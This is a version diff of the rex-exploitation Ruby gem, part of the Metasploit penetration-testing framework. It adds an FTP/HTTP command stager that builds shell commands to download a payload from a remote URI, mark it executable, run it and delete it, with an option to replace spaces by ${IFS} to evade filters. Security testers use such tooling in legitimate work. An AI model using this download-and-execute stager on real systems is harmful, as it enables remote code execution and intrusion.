rex-exploitation 0.1.32 → 0.1.35

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: ea51688315db43ddb2a980d72a715dbe8f7eaf59613df153392b2bcb10735eb0
-  data.tar.gz: d2278d504b70b8db76031c45669a87ae25377c595e318efae605732beaaf79a6
+  metadata.gz: f8c5dd5d5f1eb9ec413185374a38cd0e3cc5bfd021d12e31883a41214a9b16e7
+  data.tar.gz: 5b207563c2e70275c99b0facc43cc93c21237aa8901d88bc1e931f52f820ebaf
 SHA512:
-  metadata.gz: c3dcf1ca77715c531385068d818183d3a130551a9505fb281be4cc26a3d24b9166235acce86474370195eec466b1a416fe83b0286fd787bd393956317733d827
-  data.tar.gz: f7c73e02aca2da10019466617de38c0ca728c592a0420faaee0972911364be5c00673b694f1ad2510728aa94aa72230ef9cdf8311716c4528dbf6a2ebe3b7172
+  metadata.gz: 7307d2354918f95ff10582008e06edd044d2808e6a0fae3cf2f3eca99270ce0132dc51974c7bf4efbb5362eee0c2c562012c9f4858da7da5b4defa1f874f6bde
+  data.tar.gz: cec19fc06107b7cd0ed438cc504d36c5df6b4b6c458baffb4b71f6ca1da496f44c29c941ed0b51530dba12240bd7a539c76bee04d01dfe84dde61eeacbbf3a72

data/lib/rex/exploitation/cmdstager/ftp_http.rb

@@ -0,0 +1,49 @@
+# -*- coding: binary -*-
+
+class Rex::Exploitation::CmdStagerFtpHttp < Rex::Exploitation::CmdStagerBase
+
+  def http?
+    true
+  end
+
+  def user_agent
+    /ftp/i
+  end
+
+  def generate(opts = {})
+    if opts[:payload_uri].nil?
+      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
+    end
+
+    opts[:temp] ||= '/tmp'
+    opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    @payload_path = "#{opts[:temp]}/#{opts[:file]}"
+
+    super
+  end
+
+  def generate_cmds_payload(opts)
+    # -o: output file name (argument must be before URL)
+    ["ftp -o #{@payload_path} #{opts[:payload_uri]}"]
+  end
+
+  def generate_cmds_decoder(opts)
+    cmds = []
+
+    cmds << "chmod +x #{@payload_path}"
+    cmds << @payload_path
+    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
+
+    cmds
+  end
+
+  def compress_commands(cmds, opts)
+    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
+    super
+  end
+
+  def cmd_concat_operator
+    ';'
+  end
+
+end

data/lib/rex/exploitation/cmdstager.rb

@@ -14,3 +14,4 @@ require 'rex/exploitation/cmdstager/curl'
 require 'rex/exploitation/cmdstager/fetch'
 require 'rex/exploitation/cmdstager/lwprequest'
 require 'rex/exploitation/cmdstager/psh_invokewebrequest'
+require 'rex/exploitation/cmdstager/ftp_http'

data/lib/rex/exploitation/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Exploitation
-    VERSION = "0.1.32"
+    VERSION = "0.1.35"
   end
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: rex-exploitation
 version: !ruby/object:Gem::Version
-  version: 0.1.32
+  version: 0.1.35
 platform: ruby
 authors:
 - Metasploit Hackers
@@ -93,7 +93,7 @@ cert_chain:
   EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
   9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
   -----END CERTIFICATE-----
-date: 2022-07-11 00:00:00.000000000 Z
+date: 2022-07-18 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: rake
@@ -263,6 +263,7 @@ files:
 - lib/rex/exploitation/cmdstager/debug_write.rb
 - lib/rex/exploitation/cmdstager/echo.rb
 - lib/rex/exploitation/cmdstager/fetch.rb
+- lib/rex/exploitation/cmdstager/ftp_http.rb
 - lib/rex/exploitation/cmdstager/lwprequest.rb
 - lib/rex/exploitation/cmdstager/printf.rb
 - lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb